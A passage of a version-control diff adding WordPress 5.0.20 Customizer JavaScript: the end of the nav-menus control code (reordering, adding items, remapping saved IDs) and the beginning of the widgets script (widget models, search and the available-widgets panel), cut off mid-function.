+					sectionTitle = section.contentContainer.find( '.customize-section-title h3' ),
+					location = section.headContainer.find( '.menu-in-location' ),
+					action = sectionTitle.find( '.customize-action' ),
+					name = displayNavMenuName( menu.name );
+
+				// Update the control title
+				controlTitle.text( name );
+				if ( location.length ) {
+					location.appendTo( controlTitle );
+				}
+
+				// Update the section title
+				sectionTitle.text( name );
+				if ( action.length ) {
+					action.prependTo( sectionTitle );
+				}
+
+				// Update the nav menu name in location selects.
+				api.control.each( function( control ) {
+					if ( /^nav_menu_locations\[/.test( control.id ) ) {
+						control.container.find( 'option[value=' + menuId + ']' ).text( name );
+					}
+				} );
+
+				// Update the nav menu name in all location checkboxes.
+				section.contentContainer.find( '.customize-control-checkbox input' ).each( function() {
+					if ( $( this ).prop( 'checked' ) ) {
+						$( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name );
+					}
+				} );
+			} );
+		},
+
+		/***********************************************************************
+		 * Begin public API methods
+		 **********************************************************************/
+
+		/**
+		 * Enable/disable the reordering UI
+		 *
+		 * @param {Boolean} showOrHide to enable/disable reordering
+		 */
+		toggleReordering: function( showOrHide ) {
+			var addNewItemBtn = this.container.find( '.add-new-menu-item' ),
+				reorderBtn = this.container.find( '.reorder-toggle' ),
+				itemsTitle = this.$sectionContent.find( '.item-title' );
+
+			showOrHide = Boolean( showOrHide );
+
+			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
+				return;
+			}
+
+			this.isReordering = showOrHide;
+			this.$sectionContent.toggleClass( 'reordering', showOrHide );
+			this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' );
+			if ( this.isReordering ) {
+				addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
+				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff );
+				wp.a11y.speak( api.Menus.data.l10n.reorderModeOn );
+				itemsTitle.attr( 'aria-hidden', 'false' );
+			} else {
+				addNewItemBtn.removeAttr( 'tabindex aria-hidden' );
+				reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn );
+				wp.a11y.speak( api.Menus.data.l10n.reorderModeOff );
+				itemsTitle.attr( 'aria-hidden', 'true' );
+			}
+
+			if ( showOrHide ) {
+				_( this.getMenuItemControls() ).each( function( formControl ) {
+					formControl.collapseForm();
+				} );
+			}
+		},
+
+		/**
+		 * @return {wp.customize.controlConstructor.nav_menu_item[]}
+		 */
+		getMenuItemControls: function() {
+			var menuControl = this,
+				menuItemControls = [],
+				menuTermId = menuControl.params.menu_id;
+
+			api.control.each(function( control ) {
+				if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) {
+					menuItemControls.push( control );
+				}
+			});
+
+			return menuItemControls;
+		},
+
+		/**
+		 * Make sure that each menu item control has the proper depth.
+		 */
+		reflowMenuItems: function() {
+			var menuControl = this,
+				menuItemControls = menuControl.getMenuItemControls(),
+				reflowRecursively;
+
+			reflowRecursively = function( context ) {
+				var currentMenuItemControls = [],
+					thisParent = context.currentParent;
+				_.each( context.menuItemControls, function( menuItemControl ) {
+					if ( thisParent === menuItemControl.setting().menu_item_parent ) {
+						currentMenuItemControls.push( menuItemControl );
+						// @todo We could remove this item from menuItemControls now, for efficiency.
+					}
+				});
+				currentMenuItemControls.sort( function( a, b ) {
+					return a.setting().position - b.setting().position;
+				});
+
+				_.each( currentMenuItemControls, function( menuItemControl ) {
+					// Update position.
+					context.currentAbsolutePosition += 1;
+					menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order.
+
+					// Update depth.
+					if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) {
+						_.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) {
+							menuItemControl.container.removeClass( className );
+						});
+						menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) );
+					}
+					menuItemControl.container.data( 'item-depth', context.currentDepth );
+
+					// Process any children items.
+					context.currentDepth += 1;
+					context.currentParent = menuItemControl.params.menu_item_id;
+					reflowRecursively( context );
+					context.currentDepth -= 1;
+					context.currentParent = thisParent;
+				});
+
+				// Update class names for reordering controls.
+				if ( currentMenuItemControls.length ) {
+					_( currentMenuItemControls ).each(function( menuItemControl ) {
+						menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' );
+						if ( 0 === context.currentDepth ) {
+							menuItemControl.container.addClass( 'move-left-disabled' );
+						} else if ( 10 === context.currentDepth ) {
+							menuItemControl.container.addClass( 'move-right-disabled' );
+						}
+					});
+
+					currentMenuItemControls[0].container
+						.addClass( 'move-up-disabled' )
+						.addClass( 'move-right-disabled' )
+						.toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length );
+					currentMenuItemControls[ currentMenuItemControls.length - 1 ].container
+						.addClass( 'move-down-disabled' )
+						.toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length );
+				}
+			};
+
+			reflowRecursively( {
+				menuItemControls: menuItemControls,
+				currentParent: 0,
+				currentDepth: 0,
+				currentAbsolutePosition: 0
+			} );
+
+			menuControl.updateInvitationVisibility( menuItemControls );
+			menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 );
+		},
+
+		/**
+		 * Note that this function gets debounced so that when a lot of setting
+		 * changes are made at once, for instance when moving a menu item that
+		 * has child items, this function will only be called once all of the
+		 * settings have been updated.
+		 */
+		debouncedReflowMenuItems: _.debounce( function() {
+			this.reflowMenuItems.apply( this, arguments );
+		}, 0 ),
+
+		/**
+		 * Add a new item to this menu.
+		 *
+		 * @param {object} item - Value for the nav_menu_item setting to be created.
+		 * @returns {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance.
+		 */
+		addItemToMenu: function( item ) {
+			var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10;
+
+			_.each( menuControl.getMenuItemControls(), function( control ) {
+				if ( false === control.setting() ) {
+					return;
+				}
+				priority = Math.max( priority, control.priority() );
+				if ( 0 === control.setting().menu_item_parent ) {
+					position = Math.max( position, control.setting().position );
+				}
+			});
+			position += 1;
+			priority += 1;
+
+			item = $.extend(
+				{},
+				api.Menus.data.defaultSettingValues.nav_menu_item,
+				item,
+				{
+					nav_menu_term_id: menuControl.params.menu_id,
+					original_title: item.title,
+					position: position
+				}
+			);
+			delete item.id; // only used by Backbone
+
+			placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
+			customizeId = 'nav_menu_item[' + String( placeholderId ) + ']';
+			settingArgs = {
+				type: 'nav_menu_item',
+				transport: api.Menus.data.settingTransport,
+				previewer: api.previewer
+			};
+			setting = api.create( customizeId, customizeId, {}, settingArgs );
+			setting.set( item ); // Change from initial empty object to actual item to mark as dirty.
+
+			// Add the menu item control.
+			menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, {
+				type: 'nav_menu_item',
+				section: menuControl.id,
+				priority: priority,
+				settings: {
+					'default': customizeId
+				},
+				menu_item_id: placeholderId
+			} );
+
+			api.control.add( menuItemControl );
+			setting.preview();
+			menuControl.debouncedReflowMenuItems();
+
+			wp.a11y.speak( api.Menus.data.l10n.itemAdded );
+
+			return menuItemControl;
+		},
+
+		/**
+		 * Show an invitation to add new menu items when there are no menu items.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls
+		 */
+		updateInvitationVisibility: function ( optionalMenuItemControls ) {
+			var menuItemControls = optionalMenuItemControls || this.getMenuItemControls();
+
+			this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 );
+		}
+	} );
+
+	/**
+	 * wp.customize.Menus.NewMenuControl
+	 *
+	 * Customizer control for creating new menus and handling deletion of existing menus.
+	 * Note that 'new_menu' must match the WP_Customize_New_Menu_Control::$type.
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 * @deprecated 4.9.0 This class is no longer used due to new menu creation UX.
+	 */
+	api.Menus.NewMenuControl = api.Control.extend({
+
+		/**
+		 * Initialize.
+		 *
+		 * @deprecated 4.9.0
+		 */
+		initialize: function() {
+			if ( 'undefined' !== typeof console && console.warn ) {
+				console.warn( '[DEPRECATED] wp.customize.NewMenuControl will be removed. Please use wp.customize.Menus.createNavMenu() instead.' );
+			}
+			api.Control.prototype.initialize.apply( this, arguments );
+		},
+
+		/**
+		 * Set up the control.
+		 *
+		 * @deprecated 4.9.0
+		 */
+		ready: function() {
+			this._bindHandlers();
+		},
+
+		_bindHandlers: function() {
+			var self = this,
+				name = $( '#customize-control-new_menu_name input' ),
+				submit = $( '#create-new-menu-submit' );
+			name.on( 'keydown', function( event ) {
+				if ( 13 === event.which ) { // Enter.
+					self.submit();
+				}
+			} );
+			submit.on( 'click', function( event ) {
+				self.submit();
+				event.stopPropagation();
+				event.preventDefault();
+			} );
+		},
+
+		/**
+		 * Create the new menu with the name supplied.
+		 *
+		 * @deprecated 4.9.0
+		 */
+		submit: function() {
+
+			var control = this,
+				container = control.container.closest( '.accordion-section-new-menu' ),
+				nameInput = container.find( '.menu-name-field' ).first(),
+				name = nameInput.val(),
+				menuSection;
+
+			if ( ! name ) {
+				nameInput.addClass( 'invalid' );
+				nameInput.focus();
+				return;
+			}
+
+			menuSection = api.Menus.createNavMenu( name );
+
+			// Clear name field.
+			nameInput.val( '' );
+			nameInput.removeClass( 'invalid' );
+
+			wp.a11y.speak( api.Menus.data.l10n.menuAdded );
+
+			// Focus on the new menu section.
+			menuSection.focus();
+		}
+	});
+
+	/**
+	 * Extends wp.customize.controlConstructor with control constructor for
+	 * menu_location, menu_item, nav_menu, and new_menu.
+	 */
+	$.extend( api.controlConstructor, {
+		nav_menu_location: api.Menus.MenuLocationControl,
+		nav_menu_item: api.Menus.MenuItemControl,
+		nav_menu: api.Menus.MenuControl,
+		nav_menu_name: api.Menus.MenuNameControl,
+		new_menu: api.Menus.NewMenuControl, // @todo Remove in a future release. See #42364.
+		nav_menu_locations: api.Menus.MenuLocationsControl,
+		nav_menu_auto_add: api.Menus.MenuAutoAddControl
+	});
+
+	/**
+	 * Extends wp.customize.panelConstructor with section constructor for menus.
+	 */
+	$.extend( api.panelConstructor, {
+		nav_menus: api.Menus.MenusPanel
+	});
+
+	/**
+	 * Extends wp.customize.sectionConstructor with section constructor for menu.
+	 */
+	$.extend( api.sectionConstructor, {
+		nav_menu: api.Menus.MenuSection,
+		new_menu: api.Menus.NewMenuSection
+	});
+
+	/**
+	 * Init Customizer for menus.
+	 */
+	api.bind( 'ready', function() {
+
+		// Set up the menu items panel.
+		api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({
+			collection: api.Menus.availableMenuItems
+		});
+
+		api.bind( 'saved', function( data ) {
+			if ( data.nav_menu_updates || data.nav_menu_item_updates ) {
+				api.Menus.applySavedData( data );
+			}
+		} );
+
+		/*
+		 * Reset the list of posts created in the customizer once published.
+		 * The setting is updated quietly (bypassing events being triggered)
+		 * so that the customized state doesn't become immediately dirty.
+		 */
+		api.state( 'changesetStatus' ).bind( function( status ) {
+			if ( 'publish' === status ) {
+				api( 'nav_menus_created_posts' )._value = [];
+			}
+		} );
+
+		// Open and focus menu control.
+		api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl );
+	} );
+
+	/**
+	 * When customize_save comes back with a success, make sure any inserted
+	 * nav menus and items are properly re-added with their newly-assigned IDs.
+	 *
+	 * @param {object} data
+	 * @param {array} data.nav_menu_updates
+	 * @param {array} data.nav_menu_item_updates
+	 */
+	api.Menus.applySavedData = function( data ) {
+
+		var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {};
+
+		_( data.nav_menu_updates ).each(function( update ) {
+			var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection;
+			if ( 'inserted' === update.status ) {
+				if ( ! update.previous_term_id ) {
+					throw new Error( 'Expected previous_term_id' );
+				}
+				if ( ! update.term_id ) {
+					throw new Error( 'Expected term_id' );
+				}
+				oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']';
+				if ( ! api.has( oldCustomizeId ) ) {
+					throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
+				}
+				oldSetting = api( oldCustomizeId );
+				if ( ! api.section.has( oldCustomizeId ) ) {
+					throw new Error( 'Expected control to exist: ' + oldCustomizeId );
+				}
+				oldSection = api.section( oldCustomizeId );
+
+				settingValue = oldSetting.get();
+				if ( ! settingValue ) {
+					throw new Error( 'Did not expect setting to be empty (deleted).' );
+				}
+				settingValue = $.extend( _.clone( settingValue ), update.saved_value );
+
+				insertedMenuIdMapping[ update.previous_term_id ] = update.term_id;
+				newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']';
+				newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
+					type: 'nav_menu',
+					transport: api.Menus.data.settingTransport,
+					previewer: api.previewer
+				} );
+
+				shouldExpandNewSection = oldSection.expanded();
+				if ( shouldExpandNewSection ) {
+					oldSection.collapse();
+				}
+
+				// Add the menu section.
+				newSection = new api.Menus.MenuSection( newCustomizeId, {
+					panel: 'nav_menus',
+					title: settingValue.name,
+					customizeAction: api.Menus.data.l10n.customizingMenus,
+					type: 'nav_menu',
+					priority: oldSection.priority.get(),
+					menu_id: update.term_id
+				} );
+
+				// Add new control for the new menu.
+				api.section.add( newSection );
+
+				// Update the values for nav menus in Navigation Menu controls.
+				api.control.each( function( setting ) {
+					if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) {
+						return;
+					}
+					var select, oldMenuOption, newMenuOption;
+					select = setting.container.find( 'select' );
+					oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' );
+					newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' );
+					newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) );
+					oldMenuOption.remove();
+				} );
+
+				// Delete the old placeholder nav_menu.
+				oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
+				oldSetting.set( false );
+				oldSetting.preview();
+				newSetting.preview();
+				oldSetting._dirty = false;
+
+				// Remove nav_menu section.
+				oldSection.container.remove();
+				api.section.remove( oldCustomizeId );
+
+				// Update the nav_menu widget to reflect removed placeholder menu.
+				navMenuCount = 0;
+				api.each(function( setting ) {
+					if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
+						navMenuCount += 1;
+					}
+				});
+				widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
+				widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
+				widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
+				widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
+
+				// Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options.
+				wp.customize.control.each(function( control ){
+					if ( /^nav_menu_locations\[/.test( control.id ) ) {
+						control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
+					}
+				});
+
+				// Update nav_menu_locations to reference the new ID.
+				api.each( function( setting ) {
+					var wasSaved = api.state( 'saved' ).get();
+					if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) {
+						setting.set( update.term_id );
+						setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update().
+						api.state( 'saved' ).set( wasSaved );
+						setting.preview();
+					}
+				} );
+
+				if ( shouldExpandNewSection ) {
+					newSection.expand();
+				}
+			} else if ( 'updated' === update.status ) {
+				customizeId = 'nav_menu[' + String( update.term_id ) + ']';
+				if ( ! api.has( customizeId ) ) {
+					throw new Error( 'Expected setting to exist: ' + customizeId );
+				}
+
+				// Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name).
+				setting = api( customizeId );
+				if ( ! _.isEqual( update.saved_value, setting.get() ) ) {
+					wasSaved = api.state( 'saved' ).get();
+					setting.set( update.saved_value );
+					setting._dirty = false;
+					api.state( 'saved' ).set( wasSaved );
+				}
+			}
+		} );
+
+		// Build up mapping of nav_menu_item placeholder IDs to inserted IDs.
+		_( data.nav_menu_item_updates ).each(function( update ) {
+			if ( update.previous_post_id ) {
+				insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id;
+			}
+		});
+
+		_( data.nav_menu_item_updates ).each(function( update ) {
+			var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl;
+			if ( 'inserted' === update.status ) {
+				if ( ! update.previous_post_id ) {
+					throw new Error( 'Expected previous_post_id' );
+				}
+				if ( ! update.post_id ) {
+					throw new Error( 'Expected post_id' );
+				}
+				oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']';
+				if ( ! api.has( oldCustomizeId ) ) {
+					throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
+				}
+				oldSetting = api( oldCustomizeId );
+				if ( ! api.control.has( oldCustomizeId ) ) {
+					throw new Error( 'Expected control to exist: ' + oldCustomizeId );
+				}
+				oldControl = api.control( oldCustomizeId );
+
+				settingValue = oldSetting.get();
+				if ( ! settingValue ) {
+					throw new Error( 'Did not expect setting to be empty (deleted).' );
+				}
+				settingValue = _.clone( settingValue );
+
+				// If the parent menu item was also inserted, update the menu_item_parent to the new ID.
+				if ( settingValue.menu_item_parent < 0 ) {
+					if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) {
+						throw new Error( 'inserted ID for menu_item_parent not available' );
+					}
+					settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ];
+				}
+
+				// If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id.
+				if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) {
+					settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ];
+				}
+
+				newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']';
+				newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
+					type: 'nav_menu_item',
+					transport: api.Menus.data.settingTransport,
+					previewer: api.previewer
+				} );
+
+				// Add the menu control.
+				newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, {
+					type: 'nav_menu_item',
+					menu_id: update.post_id,
+					section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']',
+					priority: oldControl.priority.get(),
+					settings: {
+						'default': newCustomizeId
+					},
+					menu_item_id: update.post_id
+				} );
+
+				// Remove old control.
+				oldControl.container.remove();
+				api.control.remove( oldCustomizeId );
+
+				// Add new control to take its place.
+				api.control.add( newControl );
+
+				// Delete the placeholder and preview the new setting.
+				oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
+				oldSetting.set( false );
+				oldSetting.preview();
+				newSetting.preview();
+				oldSetting._dirty = false;
+
+				newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) );
+			}
+		});
+
+		/*
+		 * Update the settings for any nav_menu widgets that had selected a placeholder ID.
+		 */
+		_.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) {
+			var setting = api( widgetSettingId );
+			if ( setting ) {
+				setting._value = widgetSettingValue;
+				setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu.
+			}
+		});
+	};
+
+	/**
+	 * Focus a menu item control.
+	 *
+	 * @param {string} menuItemId
+	 */
+	api.Menus.focusMenuItemControl = function( menuItemId ) {
+		var control = api.Menus.getMenuItemControl( menuItemId );
+		if ( control ) {
+			control.focus();
+		}
+	};
+
+	/**
+	 * Get the control for a given menu.
+	 *
+	 * @param menuId
+	 * @return {wp.customize.controlConstructor.menus[]}
+	 */
+	api.Menus.getMenuControl = function( menuId ) {
+		return api.control( 'nav_menu[' + menuId + ']' );
+	};
+
+	/**
+	 * Given a menu item ID, get the control associated with it.
+	 *
+	 * @param {string} menuItemId
+	 * @return {object|null}
+	 */
+	api.Menus.getMenuItemControl = function( menuItemId ) {
+		return api.control( menuItemIdToSettingId( menuItemId ) );
+	};
+
+	/**
+	 * @param {String} menuItemId
+	 */
+	function menuItemIdToSettingId( menuItemId ) {
+		return 'nav_menu_item[' + menuItemId + ']';
+	}
+
+	/**
+	 * Apply sanitize_text_field()-like logic to the supplied name, returning a
+	 * "unnammed" fallback string if the name is then empty.
+	 *
+	 * @param {string} name
+	 * @returns {string}
+	 */
+	function displayNavMenuName( name ) {
+		name = name || '';
+		name = $( '<div>' ).text( name ).html(); // Emulate esc_html() which is used in wp-admin/nav-menus.php.
+		name = $.trim( name );
+		return name || api.Menus.data.l10n.unnamed;
+	}
+
+})( wp.customize, wp, jQuery );
Index: /tags/5.0.20/src/wp-admin/js/customize-widgets.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/customize-widgets.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/customize-widgets.js	(revision 56912)
@@ -0,0 +1,2338 @@
+/* global _wpCustomizeWidgetsSettings */
+(function( wp, $ ){
+
+	if ( ! wp || ! wp.customize ) { return; }
+
+	// Set up our namespace...
+	var api = wp.customize,
+		l10n;
+
+	api.Widgets = api.Widgets || {};
+	api.Widgets.savedWidgetIds = {};
+
+	// Link settings
+	api.Widgets.data = _wpCustomizeWidgetsSettings || {};
+	l10n = api.Widgets.data.l10n;
+
+	/**
+	 * wp.customize.Widgets.WidgetModel
+	 *
+	 * A single widget model.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Widgets.WidgetModel = Backbone.Model.extend({
+		id: null,
+		temp_id: null,
+		classname: null,
+		control_tpl: null,
+		description: null,
+		is_disabled: null,
+		is_multi: null,
+		multi_number: null,
+		name: null,
+		id_base: null,
+		transport: null,
+		params: [],
+		width: null,
+		height: null,
+		search_matched: true
+	});
+
+	/**
+	 * wp.customize.Widgets.WidgetCollection
+	 *
+	 * Collection for widget models.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Widgets.WidgetCollection = Backbone.Collection.extend({
+		model: api.Widgets.WidgetModel,
+
+		// Controls searching on the current widget collection
+		// and triggers an update event
+		doSearch: function( value ) {
+
+			// Don't do anything if we've already done this search
+			// Useful because the search handler fires multiple times per keystroke
+			if ( this.terms === value ) {
+				return;
+			}
+
+			// Updates terms with the value passed
+			this.terms = value;
+
+			// If we have terms, run a search...
+			if ( this.terms.length > 0 ) {
+				this.search( this.terms );
+			}
+
+			// If search is blank, set all the widgets as they matched the search to reset the views.
+			if ( this.terms === '' ) {
+				this.each( function ( widget ) {
+					widget.set( 'search_matched', true );
+				} );
+			}
+		},
+
+		// Performs a search within the collection
+		// @uses RegExp
+		search: function( term ) {
+			var match, haystack;
+
+			// Escape the term string for RegExp meta characters
+			term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
+
+			// Consider spaces as word delimiters and match the whole string
+			// so matching terms can be combined
+			term = term.replace( / /g, ')(?=.*' );
+			match = new RegExp( '^(?=.*' + term + ').+', 'i' );
+
+			this.each( function ( data ) {
+				haystack = [ data.get( 'name' ), data.get( 'id' ), data.get( 'description' ) ].join( ' ' );
+				data.set( 'search_matched', match.test( haystack ) );
+			} );
+		}
+	});
+	api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets );
+
+	/**
+	 * wp.customize.Widgets.SidebarModel
+	 *
+	 * A single sidebar model.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Widgets.SidebarModel = Backbone.Model.extend({
+		after_title: null,
+		after_widget: null,
+		before_title: null,
+		before_widget: null,
+		'class': null,
+		description: null,
+		id: null,
+		name: null,
+		is_rendered: false
+	});
+
+	/**
+	 * wp.customize.Widgets.SidebarCollection
+	 *
+	 * Collection for sidebar models.
+	 *
+	 * @constructor
+	 * @augments Backbone.Collection
+	 */
+	api.Widgets.SidebarCollection = Backbone.Collection.extend({
+		model: api.Widgets.SidebarModel
+	});
+	api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars );
+
+	/**
+	 * wp.customize.Widgets.AvailableWidgetsPanelView
+	 *
+	 * View class for the available widgets panel.
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend({
+
+		el: '#available-widgets',
+
+		events: {
+			'input #widgets-search': 'search',
+			'keyup #widgets-search': 'search',
+			'focus .widget-tpl' : 'focus',
+			'click .widget-tpl' : '_submit',
+			'keypress .widget-tpl' : '_submit',
+			'keydown' : 'keyboardAccessible'
+		},
+
+		// Cache current selected widget
+		selected: null,
+
+		// Cache sidebar control which has opened panel
+		currentSidebarControl: null,
+		$search: null,
+		$clearResults: null,
+		searchMatchesCount: null,
+
+		initialize: function() {
+			var self = this;
+
+			this.$search = $( '#widgets-search' );
+
+			this.$clearResults = this.$el.find( '.clear-results' );
+
+			_.bindAll( this, 'close' );
+
+			this.listenTo( this.collection, 'change', this.updateList );
+
+			this.updateList();
+
+			// Set the initial search count to the number of available widgets.
+			this.searchMatchesCount = this.collection.length;
+
+			// If the available widgets panel is open and the customize controls are
+			// interacted with (i.e. available widgets panel is blurred) then close the
+			// available widgets panel. Also close on back button click.
+			$( '#customize-controls, #available-widgets .customize-section-title' ).on( 'click keydown', function( e ) {
+				var isAddNewBtn = $( e.target ).is( '.add-new-widget, .add-new-widget *' );
+				if ( $( 'body' ).hasClass( 'adding-widget' ) && ! isAddNewBtn ) {
+					self.close();
+				}
+			} );
+
+			// Clear the search results and trigger a `keyup` event to fire a new search.
+			this.$clearResults.on( 'click', function() {
+				self.$search.val( '' ).focus().trigger( 'keyup' );
+			} );
+
+			// Close the panel if the URL in the preview changes
+			api.previewer.bind( 'url', this.close );
+		},
+
+		// Performs a search and handles selected widget
+		search: function( event ) {
+			var firstVisible;
+
+			this.collection.doSearch( event.target.value );
+			// Update the search matches count.
+			this.updateSearchMatchesCount();
+			// Announce how many search results.
+			this.announceSearchMatches();
+
+			// Remove a widget from being selected if it is no longer visible
+			if ( this.selected && ! this.selected.is( ':visible' ) ) {
+				this.selected.removeClass( 'selected' );
+				this.selected = null;
+			}
+
+			// If a widget was selected but the filter value has been cleared out, clear selection
+			if ( this.selected && ! event.target.value ) {
+				this.selected.removeClass( 'selected' );
+				this.selected = null;
+			}
+
+			// If a filter has been entered and a widget hasn't been selected, select the first one shown
+			if ( ! this.selected && event.target.value ) {
+				firstVisible = this.$el.find( '> .widget-tpl:visible:first' );
+				if ( firstVisible.length ) {
+					this.select( firstVisible );
+				}
+			}
+
+			// Toggle the clear search results button.
+			if ( '' !== event.target.value ) {
+				this.$clearResults.addClass( 'is-visible' );
+			} else if ( '' === event.target.value ) {
+				this.$clearResults.removeClass( 'is-visible' );
+			}
+
+			// Set a CSS class on the search container when there are no search results.
+			if ( ! this.searchMatchesCount ) {
+				this.$el.addClass( 'no-widgets-found' );
+			} else {
+				this.$el.removeClass( 'no-widgets-found' );
+			}
+		},
+
+		// Update the count of the available widgets that have the `search_matched` attribute.
+		updateSearchMatchesCount: function() {
+			this.searchMatchesCount = this.collection.where({ search_matched: true }).length;
+		},
+
+		// Send a message to the aria-live region to announce how many search results.
+		announceSearchMatches: _.debounce( function() {
+			var message = l10n.widgetsFound.replace( '%d', this.searchMatchesCount ) ;
+
+			if ( ! this.searchMatchesCount ) {
+				message = l10n.noWidgetsFound;
+			}
+
+			wp.a11y.speak( message );
+		}, 500 ),
+
+		// Changes visibility of available widgets
+		updateList: function() {
+			this.collection.each( function( widget ) {
+				var widgetTpl = $( '#widget-tpl-' + widget.id );
+				widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) );
+				if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) {
+					this.selected = null;
+				}
+			} );
+		},
+
+		// Highlights a widget
+		select: function( widgetTpl ) {
+			this.selected = $( widgetTpl );
+			this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' );
+			this.selected.addClass( 'selected' );
+		},
+
+		// Highlights a widget on focus
+		focus: function( event ) {
+			this.select( $( event.currentTarget ) );
+		},
+
+		// Submit handler for keypress and click on widget
+		_submit: function( event ) {
+			// Only proceed with keypress if it is Enter or Spacebar
+			if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
+				return;
+			}
+
+			this.submit( $( event.currentTarget ) );
+		},
+
+		// Adds a selected widget to the sidebar
+		submit: function( widgetTpl ) {
+			var widgetId, widget, widgetFormControl;
+
+			if ( ! widgetTpl ) {
+				widgetTpl = this.selected;
+			}
+
+			if ( ! widgetTpl || ! this.currentSidebarControl ) {
+				return;
+			}
+
+			this.select( widgetTpl );
+
+			widgetId = $( this.selected ).data( 'widget-id' );
+			widget = this.collection.findWhere( { id: widgetId } );
+			if ( ! widget ) {
+				return;
+			}
+
+			widgetFormControl = this.currentSidebarControl.addWidget( widget.get( 'id_base' ) );
+			if ( widgetFormControl ) {
+				widgetFormControl.focus();
+			}
+
+			this.close();
+		},
+
+		// Opens the panel
+		open: function( sidebarControl ) {
+			this.currentSidebarControl = sidebarControl;
+
+			// Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens
+			_( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) {
+				if ( control.params.is_wide ) {
+					control.collapseForm();
+				}
+			} );
+
+			if ( api.section.has( 'publish_settings' ) ) {
+				api.section( 'publish_settings' ).collapse();
+			}
+
+			$( 'body' ).addClass( 'adding-widget' );
+
